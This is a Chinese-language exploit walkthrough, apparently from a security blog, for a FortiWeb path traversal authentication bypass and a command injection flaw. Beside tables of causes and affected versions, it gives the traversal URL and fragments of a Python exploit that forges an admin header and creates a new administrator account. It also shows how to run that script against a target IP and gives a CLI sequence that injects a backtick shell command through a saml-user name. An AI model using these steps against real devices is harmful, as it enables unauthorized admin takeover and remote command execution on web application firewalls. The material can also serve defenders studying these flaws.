FortiWeb 是用于保护 Web 应用程序的 Web 应用防火墙 (WAF) 设备。
2025 年,发现两个严重漏洞:
| 项目 | 内容 |
|---|---|
| 漏洞类型 | Relative Path Traversal Authentication Bypass |
| 原因 | FortiWeb 在认证前对路径处理不严格: - 基于逻辑路径字符串的访问控制 - 未完全规范化路径 - 允许使用 ../ 访问内部资源 |
| 描述 | 某些管理端点可以在未经有效认证的情况下被访问 |
| 危害 | - 完全绕过认证 - 非法访问管理员功能 - 破坏权限模型 |
| 受影响版本 | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
示例:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
这有助于避免库版本冲突,确保工作环境的稳定性,并减少对系统的影响。
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
使用 Python3 运行工具:
python3 exploit.py <IP_target>
<IP_target>: 此 IP 地址是 FortiWeb 设备的主机名。
获取到用户名和密码 -> 进行登录
利用成功并创建了具有管理员权限的新账户。
成功使用新创建的管理员账户登录后,攻击者可以通过精心构造的请求或直接通过 FortiWeb CLI 命令行界面利用经过身份验证的命令注入漏洞:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb 将退出配置字符串并在配置 saml-user 过程中执行 id 命令。
| 项目 | 内容 |
|---|
| 漏洞类型 | OS Command Injection (CWE-78) |
| 原因 | FortiWeb 在执行操作系统命令时对输入处理不安全: - 未验证输入 - 缺少特殊字符转义 - 直接将用户数据传递给系统命令 |
| 描述 | 该漏洞需要认证,但允许注入系统命令 |
| 危害 | - 执行意外命令 - 访问系统资源 - 影响完整性和可用性 |
| 受影响版本 | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |